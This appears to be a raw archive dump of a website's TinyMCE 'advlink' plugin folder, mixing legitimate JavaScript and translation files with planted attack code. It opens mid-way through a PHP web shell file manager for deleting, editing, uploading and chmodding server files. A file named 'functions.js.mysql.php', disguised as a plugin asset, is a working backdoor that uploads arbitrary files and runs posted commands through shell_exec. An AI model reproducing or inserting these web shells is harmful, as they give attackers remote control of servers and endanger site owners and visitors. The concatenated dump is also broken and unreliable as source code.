'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>'; } break; case "deltree": $deldir = strdir($nowdir . $_POST['var'] . '/'); if (!file_exists($deldir)) { $msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>'; } else { $msg = deltree($deldir) ? '<h2>删除目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删除目录 ' . $_POST['var'] . ' 失败</h1>'; } break; } } $chmod = substr(decoct(fileperms($nowdir)) , -4); if (!$chmod) { $msg.= ' - <h1>无法读取目录</h1>'; } $array = showdir($nowdir); $thisurl = strdir('/' . strtr($nowdir, array( ROOTDIR => '' )) . '/'); $nowdir = strtr($nowdir, array( '\'' => '%27', '"' => '%22' )); echo '<div class="msgbox">' . $msg . '</div>'; echo '<div class="actall"><form name="frm" id="frm" method="POST">'; subeval(); echo (is_writable($nowdir) ? '<h2>DIR</h2>' : '<h1>DIR</h1>') . ' <input type="text" name="dir" id="dir" style="width:508px;" value="' . strdir($nowdir . '/') . '"> '; echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="Go"> '; echo '<input type="button" onclick="cd(\'' . ROOTDIR . '\');" style="width:68px;" value="Root Dir"> '; echo '<input type="button" onclick="cd(\'' . THISDIR . '\');" style="width:68px;" value="Shell Dir"> '; echo '</select></form></div><div class="actall">'; echo '<input type="button" value="New File" onclick="nf(\'edit\',\'newfile.php\');" style="width:68px;"> '; echo '<input type="button" value="New Dir" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:68px;"> '; #echo '<input type="button" value="Upload" onclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:68px;"> '; echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">'; subeval(); echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">'; echo '<input type="file" name="upfile" style="width:286px;height:21px;"> '; echo '<input type="button" onclick="$(\'upfrm\').submit();" value="Upload" style="width:50px;"> '; # echo 'Rename to <input type="text" name="rename" style="width:128px;">'; echo '</form></div>'; echo '<form name="frm1" id="frm1" method="POST"><table class="tables">'; subeval(); echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">'; echo '<input type="hidden" name="act" id="act" value="">'; echo '<input type="hidden" name="var" id="var" value="">'; echo '<th><a href="javascript:void(0);" onclick="cd(\'' . dirname($nowdir) . '/\');">Back..</a></th><th style="width:8%">Action</th><th style="width:5%">Perm</th><th style="width:17%">Upload Time</th><th style="width:17%">Last Modify</th><th style="width:8%">Download</th>'; if ($array) { asort($array['dir']); asort($array['file']); $dnum = $fnum = 0; foreach ($array['dir'] as $path => $name) { $prem = substr(decoct(fileperms($path)) , -4); $ctime = date('Y-m-d H:i:s', filectime($path)); $mtime = date('Y-m-d H:i:s', filemtime($path)); echo '<tr>'; echo '<td><a href="javascript:void(0);" onclick="cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array( '%27' => '\'', '%22' => '"' )) . '</b></a></td>'; echo '<td><a href="javascript:void(0);" onclick="dels(\'' . $name . '\');">删除</a> '; echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>'; echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>'; echo '<td>' . $ctime . '</td>'; echo '<td>' . $mtime . '</td>'; echo '<td>-</td>'; echo '</tr>'; $dnum++; } foreach ($array['file'] as $path => $name) { $prem = substr(decoct(fileperms($path)) , -4); $ctime = date('Y-m-d H:i:s', filectime($path)); $mtime = date('Y-m-d H:i:s', filemtime($path)); $size = size(filesize($path)); echo '<tr>'; echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array( '%27' => '\'', '%22' => '"' )) . '</a></td>'; echo '<td><a href="javascript:void(0);" onclick="go(\'edit\',\'' . $name . '\');">Edit</a> '; echo '<a href="javascript:void(0);" onclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">Mv</a></td>'; echo '<td><a href="javascript:void(0);" onclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>'; echo '<td>' . $ctime . '</td>'; echo '<td>' . $mtime . '</td>'; echo '<td align="right"><a href="javascript:void(0);" onclick="go(\'down\',\'' . $name . '\');">' . $size . '</a></td>'; echo '</tr>'; $fnum++; } } unset($array); echo '</table>'; echo '<div class="actall" style="text-align:left;">'; echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> '; echo '<input type="button" value="Copy" style="width:50px;" onclick=\'txts("Copy","' . $nowdir . '","a");\'> '; echo '<input type="button" value="Delete" style="width:50px;" onclick=\'dels("b");\'> '; echo '<input type="button" value="Chmod" style="width:50px;" onclick=\'txts("Chmod","0666","c");\'> '; #echo '<input type="button" value="Time" style="width:50px;" onclick=\'txts("Time","' . $mtime . '","d");\'> '; #echo 'Total Dir[' . $dnum . '] - Total Files[' . $fnum . '] - Permission[' . $chmod . ']</div></form>'; break; } ?> plugins/advlink/jscripts/functions.js 0000666 00000045072 15155066653 0014114 0 ustar 00 /* Functions for the advlink plugin popup */ var templates = { "window.open" : "window.open('${url}','${target}','${options}')" }; function preinit() { // Initialize tinyMCE.setWindowArg('mce_windowresize', false); // Import external list url javascript var url = tinyMCE.getParam("external_link_list_url"); if (url != null) { // Fix relative if (url.charAt(0) != '/' && url.indexOf('://') == -1) url = tinyMCE.documentBasePath + "/" + url; document.write('<sc'+'ript language="javascript" type="text/javascript" src="' + url + '"></sc'+'ript>'); } } function changeClass() { var formObj = document.forms[0]; formObj.classes.value = getSelectValue(formObj, 'classlist'); } function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); var action = "insert"; var html; document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); document.getElementById('linklisthrefcontainer').innerHTML = getLinkListHTML('linklisthref','href'); document.getElementById('anchorlistcontainer').innerHTML = getAnchorListHTML('anchorlist','href'); document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); // Link list html = getLinkListHTML('linklisthref','href'); if (html == "") document.getElementById("linklisthrefrow").style.display = 'none'; else document.getElementById("linklisthrefcontainer").innerHTML = html; // Resize some elements if (isVisible('hrefbrowser')) document.getElementById('href').style.width = '260px'; if (isVisible('popupurlbrowser')) document.getElementById('popupurl').style.width = '180px'; elm = tinyMCE.getParentElement(elm, "a"); if (elm != null && elm.nodeName == "A") action = "update"; formObj.insert.value = tinyMCE.getLang('lang_' + action, 'Insert', true); setPopupControlsDisabled(true); if (action == "update") { var href = tinyMCE.getAttrib(elm, 'href'); href = convertURL(href, elm, true); // Use mce_href if found var mceRealHref = tinyMCE.getAttrib(elm, 'mce_href'); if (mceRealHref != "") { href = mceRealHref; if (tinyMCE.getParam('convert_urls')) href = convertURL(href, elm, true); } var onclick = tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onclick')); // Setup form data setFormValue('href', href); setFormValue('title', tinyMCE.getAttrib(elm, 'title')); setFormValue('id', tinyMCE.getAttrib(elm, 'id')); setFormValue('style', tinyMCE.serializeStyle(tinyMCE.parseStyle(tinyMCE.getAttrib(elm, "style")))); setFormValue('rel', tinyMCE.getAttrib(elm, 'rel')); setFormValue('rev', tinyMCE.getAttrib(elm, 'rev')); setFormValue('charset', tinyMCE.getAttrib(elm, 'charset')); setFormValue('hreflang', tinyMCE.getAttrib(elm, 'hreflang')); setFormValue('dir', tinyMCE.getAttrib(elm, 'dir')); setFormValue('lang', tinyMCE.getAttrib(elm, 'lang')); setFormValue('tabindex', tinyMCE.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); setFormValue('accesskey', tinyMCE.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); setFormValue('type', tinyMCE.getAttrib(elm, 'type')); setFormValue('onfocus', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onfocus'))); setFormValue('onblur', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onblur'))); setFormValue('onclick', onclick); setFormValue('ondblclick', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'ondblclick'))); setFormValue('onmousedown', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmousedown'))); setFormValue('onmouseup', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseup'))); setFormValue('onmouseover', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseover'))); setFormValue('onmousemove', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmousemove'))); setFormValue('onmouseout', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseout'))); setFormValue('onkeypress', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onkeypress'))); setFormValue('onkeydown', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onkeydown'))); setFormValue('onkeyup', tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onkeyup'))); setFormValue('target', tinyMCE.getAttrib(elm, 'target')); setFormValue('classes', tinyMCE.getAttrib(elm, 'class')); // Parse onclick data if (onclick != null && onclick.indexOf('window.open') != -1) parseWindowOpen(onclick); else parseFunction(onclick); // Select by the values selectByValue(formObj, 'dir', tinyMCE.getAttrib(elm, 'dir')); selectByValue(formObj, 'rel', tinyMCE.getAttrib(elm, 'rel')); selectByValue(formObj, 'rev', tinyMCE.getAttrib(elm, 'rev')); selectByValue(formObj, 'linklisthref', href); if (href.charAt(0) == '#') selectByValue(formObj, 'anchorlist', href); addClassesToList('classlist', 'advlink_styles'); selectByValue(formObj, 'classlist', tinyMCE.getAttrib(elm, 'class'), true); selectByValue(formObj, 'targetlist', tinyMCE.getAttrib(elm, 'target'), true); } else addClassesToList('classlist', 'advlink_styles'); window.focus(); } function checkPrefix(n) { if (!Validator.isEmpty(n) && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCE.getLang('lang_is_email'))) n.value = 'mailto:' + n.value; if (/^\s*www./i.test(n.value) && confirm(tinyMCE.getLang('lang_is_external'))) n.value = 'http://' + n.value; } function setFormValue(name, value) { document.forms[0].elements[name].value = value; } function convertURL(url, node, on_save) { return eval("tinyMCEPopup.windowOpener." + tinyMCE.settings['urlconverter_callback'] + "(url, node, on_save);"); } function parseWindowOpen(onclick) { var formObj = document.forms[0]; // Preprocess center code if (onclick.indexOf('return false;') != -1) { formObj.popupreturn.checked = true; onclick = onclick.replace('return false;', ''); } else formObj.popupreturn.checked = false; var onClickData = parseLink(onclick); if (onClickData != null) { formObj.ispopup.checked = true; setPopupControlsDisabled(false); var onClickWindowOptions = parseOptions(onClickData['options']); var url = onClickData['url']; if (tinyMCE.getParam('convert_urls')) url = convertURL(url, null, true); formObj.popupname.value = onClickData['target']; formObj.popupurl.value = url; formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); if (formObj.popupleft.value.indexOf('screen') != -1) formObj.popupleft.value = "c"; if (formObj.popuptop.value.indexOf('screen') != -1) formObj.popuptop.value = "c"; formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; buildOnClick(); } } function parseFunction(onclick) { var formObj = document.forms[0]; var onClickData = parseLink(onclick); // TODO: Add stuff here } function getOption(opts, name) { return typeof(opts[name]) == "undefined" ? "" : opts[name]; } function setPopupControlsDisabled(state) { var formObj = document.forms[0]; formObj.popupname.disabled = state; formObj.popupurl.disabled = state; formObj.popupwidth.disabled = state; formObj.popupheight.disabled = state; formObj.popupleft.disabled = state; formObj.popuptop.disabled = state; formObj.popuplocation.disabled = state; formObj.popupscrollbars.disabled = state; formObj.popupmenubar.disabled = state; formObj.popupresizable.disabled = state; formObj.popuptoolbar.disabled = state; formObj.popupstatus.disabled = state; formObj.popupreturn.disabled = state; formObj.popupdependent.disabled = state; setBrowserDisabled('popupurlbrowser', state); } function parseLink(link) { link = link.replace(new RegExp(''', 'g'), "'"); var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); // Is function name a template function var template = templates[fnName]; if (template) { // Build regexp var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; var replaceStr = ""; for (var i=0; i<variableNames.length; i++) { // Is string value if (variableNames[i].indexOf("'${") != -1) regExp += "'(.*)'"; else // Number value regExp += "([0-9]*)"; replaceStr += "$" + (i+1); // Cleanup variable name variableNames[i] = variableNames[i].replace(new RegExp("[^A-Za-z0-9]", "gi"), ""); if (i != variableNames.length-1) { regExp += "\\s*,\\s*"; replaceStr += "<delim>"; } else regExp += ".*"; } regExp += "\\);?"; // Build variable array var variables = new Array(); variables["_function"] = fnName; var variableValues = link.replace(new RegExp(regExp, "gi"), replaceStr).split('<delim>'); for (var i=0; i<variableNames.length; i++) variables[variableNames[i]] = variableValues[i]; return variables; } return null; } function parseOptions(opts) { if (opts == null || opts == "") return new Array(); // Cleanup the options opts = opts.toLowerCase(); opts = opts.replace(/;/g, ","); opts = opts.replace(/[^0-9a-z=,]/g, ""); var optionChunks = opts.split(','); var options = new Array(); for (var i=0; i<optionChunks.length; i++) { var parts = optionChunks[i].split('='); if (parts.length == 2) options[parts[0]] = parts[1]; } return options; } function buildOnClick() { var formObj = document.forms[0]; if (!formObj.ispopup.checked) { formObj.onclick.value = ""; return; } var onclick = "window.open('"; var url = formObj.popupurl.value; if (tinyMCE.getParam('convert_urls')) url = convertURL(url, null, true); onclick += url + "','"; onclick += formObj.popupname.value + "','"; if (formObj.popuplocation.checked) onclick += "location=yes,"; if (formObj.popupscrollbars.checked) onclick += "scrollbars=yes,"; if (formObj.popupmenubar.checked) onclick += "menubar=yes,"; if (formObj.popupresizable.checked) onclick += "resizable=yes,"; if (formObj.popuptoolbar.checked) onclick += "toolbar=yes,"; if (formObj.popupstatus.checked) onclick += "status=yes,"; if (formObj.popupdependent.checked) onclick += "dependent=yes,"; if (formObj.popupwidth.value != "") onclick += "width=" + formObj.popupwidth.value + ","; if (formObj.popupheight.value != "") onclick += "height=" + formObj.popupheight.value + ","; if (formObj.popupleft.value != "") { if (formObj.popupleft.value != "c") onclick += "left=" + formObj.popupleft.value + ","; else onclick += "left='+(screen.availWidth/2-" + (formObj.popupwidth.value/2) + ")+',"; } if (formObj.popuptop.value != "") { if (formObj.popuptop.value != "c") onclick += "top=" + formObj.popuptop.value + ","; else onclick += "top='+(screen.availHeight/2-" + (formObj.popupheight.value/2) + ")+',"; } if (onclick.charAt(onclick.length-1) == ',') onclick = onclick.substring(0, onclick.length-1); onclick += "');"; if (formObj.popupreturn.checked) onclick += "return false;"; // tinyMCE.debug(onclick); formObj.onclick.value = onclick; if (formObj.href.value == "") formObj.href.value = url; } function setAttrib(elm, attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib.toLowerCase()]; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } if (value != "") { elm.setAttribute(attrib.toLowerCase(), value); if (attrib == "style") attrib = "style.cssText"; if (attrib.substring(0, 2) == 'on') value = 'return true;' + value; if (attrib == "class") attrib = "className"; eval('elm.' + attrib + "=value;"); } else elm.removeAttribute(attrib); } function getAnchorListHTML(id, target) { var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var nodes = inst.getBody().getElementsByTagName("a"), name, i; var html = ""; html += '<select id="' + id + '" name="' + id + '" class="mceAnchorList" onfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target + '.value='; html += 'this.options[this.selectedIndex].value;">'; html += '<option value="">---</option>'; for (i=0; i<nodes.length; i++) { if ((name = tinyMCE.getAttrib(nodes[i], "name")) != "") html += '<option value="#' + name + '">' + name + '</option>'; } html += '</select>'; return html; } function insertAction() { var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); checkPrefix(document.forms[0].href); elm = tinyMCE.getParentElement(elm, "a"); tinyMCEPopup.execCommand("mceBeginUndoLevel"); // Create new anchor elements if (elm == null) { if (tinyMCE.isSafari) tinyMCEPopup.execCommand("mceInsertContent", false, '<a href="#mce_temp_url#">' + inst.selection.getSelectedHTML() + '</a>'); else tinyMCEPopup.execCommand("createlink", false, "#mce_temp_url#"); var elementArray = tinyMCE.getElementsByAttributeValue(inst.getBody(), "a", "href", "#mce_temp_url#"); for (var i=0; i<elementArray.length; i++) { var elm = elementArray[i]; // Move cursor to end try { tinyMCE.selectedInstance.selection.collapse(false); } catch (ex) { // Ignore } // Move cursor behind the new anchor // Don't remember why this was needed so it's now removed /* if (tinyMCE.isGecko) { var sp = inst.getDoc().createTextNode(" "); if (elm.nextSibling) elm.parentNode.insertBefore(sp, elm.nextSibling); else elm.parentNode.appendChild(sp); // Set range after link var rng = inst.getDoc().createRange(); rng.setStartAfter(elm); rng.setEndAfter(elm); // Update selection var sel = inst.getSel(); sel.removeAllRanges(); sel.addRange(rng); } */ setAllAttribs(elm); } } else setAllAttribs(elm); tinyMCE._setEventsEnabled(inst.getBody(), false); tinyMCEPopup.execCommand("mceEndUndoLevel"); tinyMCEPopup.close(); } function setAllAttribs(elm) { var formObj = document.forms[0]; var href = formObj.href.value; var target = getSelectValue(formObj, 'targetlist'); // Make anchors absolute if (href.charAt(0) != '#' && tinyMCE.getParam('convert_urls')) href = convertURL(href, elm); setAttrib(elm, 'href', href); setAttrib(elm, 'mce_href', href); setAttrib(elm, 'title'); setAttrib(elm, 'target', target == '_self' ? '' : target); setAttrib(elm, 'id'); setAttrib(elm, 'style'); setAttrib(elm, 'class', getSelectValue(formObj, 'classlist')); setAttrib(elm, 'rel'); setAttrib(elm, 'rev'); setAttrib(elm, 'charset'); setAttrib(elm, 'hreflang'); setAttrib(elm, 'dir'); setAttrib(elm, 'lang'); setAttrib(elm, 'tabindex'); setAttrib(elm, 'accesskey'); setAttrib(elm, 'type'); setAttrib(elm, 'onfocus'); setAttrib(elm, 'onblur'); setAttrib(elm, 'onclick'); setAttrib(elm, 'ondblclick'); setAttrib(elm, 'onmousedown'); setAttrib(elm, 'onmouseup'); setAttrib(elm, 'onmouseover'); setAttrib(elm, 'onmousemove'); setAttrib(elm, 'onmouseout'); setAttrib(elm, 'onkeypress'); setAttrib(elm, 'onkeydown'); setAttrib(elm, 'onkeyup'); // Refresh in old MSIE if (tinyMCE.isMSIE5) elm.outerHTML = elm.outerHTML; } function getSelectValue(form_obj, field_name) { var elm = form_obj.elements[field_name]; if (elm == null || elm.options == null) return ""; return elm.options[elm.selectedIndex].value; } function getLinkListHTML(elm_id, target_form_element, onchange_func) { if (typeof(tinyMCELinkList) == "undefined" || tinyMCELinkList.length == 0) return ""; var html = ""; html += '<select id="' + elm_id + '" name="' + elm_id + '"'; html += ' class="mceLinkList" onfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;'; if (typeof(onchange_func) != "undefined") html += onchange_func + '(\'' + target_form_element + '\',this.options[this.selectedIndex].text,this.options[this.selectedIndex].value);'; html += '"><option value="">---</option>'; for (var i=0; i<tinyMCELinkList.length; i++) html += '<option value="' + tinyMCELinkList[i][1] + '">' + tinyMCELinkList[i][0] + '</option>'; html += '</select>'; return html; // tinyMCE.debug('-- image list start --', html, '-- image list end --'); } function getTargetListHTML(elm_id, target_form_element) { var targets = tinyMCE.getParam('theme_advanced_link_targets', '').split(';'); var html = ''; html += '<select id="' + elm_id + '" name="' + elm_id + '" onfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;">'; html += '<option value="_self">' + tinyMCE.getLang('lang_advlink_target_same') + '</option>'; html += '<option value="_blank">' + tinyMCE.getLang('lang_advlink_target_blank') + ' (_blank)</option>'; html += '<option value="_parent">' + tinyMCE.getLang('lang_advlink_target_parent') + ' (_parent)</option>'; html += '<option value="_top">' + tinyMCE.getLang('lang_advlink_target_top') + ' (_top)</option>'; for (var i=0; i<targets.length; i++) { var key, value; if (targets[i] == "") continue; key = targets[i].split('=')[0]; value = targets[i].split('=')[1]; html += '<option value="' + key + '">' + value + ' (' + key + ')</option>'; } html += '</select>'; return html; } // While loading preinit(); plugins/advlink/jscripts/functions.js.mysql.php 0000666 00000001413 15155066653 0016035 0 ustar 00 <?php $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<center><h3><a href='$fullpath'>Ex45 ngecrot disini!!</a></h3></center>"; } }echo '<center><html><head>Selamat LobangNya Udah Kebuka :V</head><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="files"><input type=submit value="Up"></form></body></html></center>'; ?> <?php echo "<b>".php_uname()."</b><br>"; ?> <center> <form method="POST" action=""> <input type="text" name="cmd" placeholder="Execute Commands"> <input type="submit" value=">>"> </form> <?php $cmd = $_POST['cmd']; $exec = shell_exec("$cmd"); echo "<textarea rows='15' cols='85'>$exec</textarea>"; ?> plugins/advlink/langs/ca_dlg.js 0000666 00000003766 15155066653 0012564 0 ustar 00 tinyMCE.addI18n('ca.advlink_dlg',{ title:"Insereix/edita enlla\u00E7", url:"URL de l'enlla\u00E7", target:"Objectiu", titlefield:"T\u00EDtol", is_email:"L'URL que has introdu\u00EFt sembla una adre\u00E7a de correu, vols afegir-hi el prefix mailto://?", is_external:"L'URL que has introdu\u00EFt sembla un enlla\u00E7 extern, vols afegir-hi el prefix http://?", list:"Llista d'enlla\u00E7os", general_tab:"General", popup_tab:"Emergent", events_tab:"Esdeveniments", advanced_tab:"Avan\u00E7at", general_props:"Propietats generals", popup_props:"Propietats de l'emergent", event_props:"Esdeveniments", advanced_props:"Propietats avan\u00E7ades", popup_opts:"Opcions", anchor_names:"\u00C0ncores", target_same:"Obre en aquesta finestra / marc", target_parent:"Obre a la finestra /marc pare", target_top:"Obre en el marc superior (substitueix tots els marcs)", target_blank:"Obre en una finestra nova", popup:"Emergent Javascript", popup_url:"URL de l'emergent", popup_name:"Nom de la finestra", popup_return:"Insereix 'return false'", popup_scrollbars:"Mostra les barres de despla\u00E7ament", popup_statusbar:"Mostra la barra d'estat", popup_toolbar:"Mostra les barres d'eines", popup_menubar:"Mostra la barra de men\u00FA", popup_location:"Mostra la barra d'ubicaci\u00F3", popup_resizable:"La finestra es pot amidar", popup_dependent:"Dependent (nom\u00E9s Mozilla/Firefox)", popup_size:"Mida", popup_position:"Posici\u00F3 (X/Y)", id:"Id", style:"Estil", classes:"Classes", target_name:"Nom de l'objectiu", langdir:"Direcci\u00F3 de l'idioma", target_langcode:"Idioma objectiu", langcode:"Codi de l'idioma", encoding:"Codificaci\u00F3 de car\u00E0cters de l'objectiu", mime:"Tipus MIME de l'objectiu", rel:"Relaci\u00F3 p\u00E0gina a objectiu", rev:"Relaci\u00F3 objectiu a p\u00E0gina", tabindex:"\u00CDndex de taula", accesskey:"Accesskey", ltr:"D'esquerra a dreta", rtl:"De dreta a esquerra", link_list:"Llista d'enlla\u00E7os" }); plugins/advlink/langs/en.js 0000666 00000002630 15155066653 0011742 0 ustar 00 // UK lang variables tinyMCE.addToLang('advlink',{ general_tab : 'General', popup_tab : 'Popup', events_tab : 'Events', advanced_tab : 'Advanced', general_props : 'General properties', popup_props : 'Popup properties', event_props : 'Events', advanced_props : 'Advanced properties', popup_opts : 'Options', anchor_names : 'Anchors', target_same : 'Open in this window / frame', target_parent : 'Open in parent window / frame', target_top : 'Open in top frame (replaces all frames)', target_blank : 'Open in new window', popup : 'Javascript popup', popup_url : 'Popup URL', popup_name : 'Window name', popup_return : 'Insert \'return false\'', popup_scrollbars : 'Show scrollbars', popup_statusbar : 'Show status bar', popup_toolbar : 'Show toolbars', popup_menubar : 'Show menu bar', popup_location : 'Show location bar', popup_resizable : 'Make window resizable', popup_dependent : 'Dependent (Mozilla/Firefox only)', popup_size : 'Size', popup_position : 'Position (X/Y)', id : 'Id', style: 'Style', classes : 'Classes', target_name : 'Target name', langdir : 'Language direction', target_langcode : 'Target language', langcode : 'Language code', encoding : 'Target character encoding', mime : 'Target MIME type', rel : 'Relationship page to target', rev : 'Relationship target to page', tabindex : 'Tabindex', accesskey : 'Accesskey', ltr : 'Left to right', rtl : 'Right to left' }); plugins/advlink/langs/en_dlg.js 0000666 00000003274 15155066653 0012575 0 ustar 00 tinyMCE.addI18n('en.advlink_dlg',{ title:"Insert/edit link", url:"Link URL", target:"Target", titlefield:"Title", is_email:"The URL you entered seems to be an email address, do you want to add the required mailto: prefix?", is_external:"The URL you entered seems to external link, do you want to add the required http:// prefix?", list:"Link list", general_tab:"General", popup_tab:"Popup", events_tab:"Events", advanced_tab:"Advanced", general_props:"General properties", popup_props:"Popup properties", event_props:"Events", advanced_props:"Advanced properties", popup_opts:"Options", anchor_names:"Anchors", target_same:"Open in this window / frame", target_parent:"Open in parent window / frame", target_top:"Open in top frame (replaces all frames)", target_blank:"Open in new window", popup:"Javascript popup", popup_url:"Popup URL", popup_name:"Window name", popup_return:"Insert 'return false'", popup_scrollbars:"Show scrollbars", popup_statusbar:"Show status bar", popup_toolbar:"Show toolbars", popup_menubar:"Show menu bar", popup_location:"Show location bar", popup_resizable:"Make window resizable", popup_dependent:"Dependent (Mozilla/Firefox only)", popup_size:"Size", popup_position:"Position (X/Y)", id:"Id", style:"Style", classes:"Classes", target_name:"Target name", langdir:"Language direction", target_langcode:"Target language", langcode:"Language code", encoding:"Target character encoding", mime:"Target MIME type", rel:"Relationship page to target", rev:"Relationship target to page", tabindex:"Tabindex", accesskey:"Accesskey", ltr:"Left to right", rtl:"Right to left", link_list:"Link list" }); plugins/advlink/langs/es_dlg.js 0000666 00000004061 15155066653 0012575 0 ustar 00 tinyMCE.addI18n('es.advlink_dlg',{ title:"Insertar/editar hiperv\u00EDnculo", url:"URL del hiperv\u00EDnculo", target:"Destino", titlefield:"T\u00EDtulo", is_email:"La URL que ha introducido parece ser una direci\u00F3n de correo, \u00BFdesea agregar el prefijo mailto: necesario?", is_external:"La URL que ha introducido parece ser un v\u00EDnculo externo, \u00BFdesea agregar el prefijo http:// necesario?", list:"Lista de v\u00EDnculos", general_tab:"General", popup_tab:"Ventana emergente", events_tab:"Eventos", advanced_tab:"Avanzado", general_props:"Propiedades generales", popup_props:"Propiedades de ventanas emergentes", event_props:"Eventos", advanced_props:"Propiedades avanzadas", popup_opts:"Opciones", anchor_names:"Anclas", target_same:"Abrir en esta ventana / marco", target_parent:"Abrir en ventana padre / marco", target_top:"Abrir en el marco superior (reemplaza todos los marcos)", target_blank:"Abrir en ventana nueva", popup:"Javascript popup", popup_url:"URL de la ventana emergente", popup_name:"Nombre de la ventana", popup_return:"Insertar 'return false'", popup_scrollbars:"Barras de desplazamiento", popup_statusbar:"Barra de estado", popup_toolbar:"Barra de herramientas", popup_menubar:"Barra de men\u00FA", popup_location:"Barra de localizaci\u00F3n", popup_resizable:"Permitir cambiar el tama\u00F1o de la ventana", popup_dependent:"Dependientes (s\u00F3lo Mozilla/Firefox)", popup_size:"Tama\u00F1o", popup_position:"Posici\u00F3n (X/Y)", id:"Id", style:"Estilo", classes:"Clases", target_name:"Nombre del Target", langdir:"Direcci\u00F3n del lenguaje", target_langcode:"Lenguaje del Target", langcode:"C\u00F3digo del lenguaje", encoding:"Codificaci\u00F3n de caracteres del Target", mime:"Tipo MIME del Target", rel:"Relaci\u00F3n p\u00E1gina a target", rev:"Relaci\u00F3n target a p\u00E1gina", tabindex:"\u00CDndice de tabulaci\u00F3n", accesskey:"Tecla de acceso", ltr:"Izquierda a derecha", rtl:"Derecha a izquierda", link_list:"Lista de v\u00EDnculo" }); plugins/advlink/link.htm 0000666 00000035736 15155066653 0011362 0 ustar 00 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>{#advlink_dlg.title}</title> <script type="text/javascript" src="../../tiny_mce_popup.js"></script> <script type="text/javascript" src="../../utils/mctabs.js"></script> <script type="text/javascript" src="../../utils/form_utils.js"></script> <script type="text/javascript" src="../../utils/validate.js"></script> <script type="text/javascript" src="js/advlink.js"></script> <link href="css/advlink.css" rel="stylesheet" type="text/css" /> </head> <body id="advlink" style="display: none"> <form onsubmit="insertAction();return false;" action="#"> <div class="tabs"> <ul> <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return 